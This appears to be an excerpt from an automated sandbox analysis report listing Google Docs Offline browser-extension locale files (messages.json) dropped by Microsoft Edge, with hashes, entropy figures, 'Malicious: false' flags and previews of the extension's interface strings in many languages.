SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8148_837431167\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

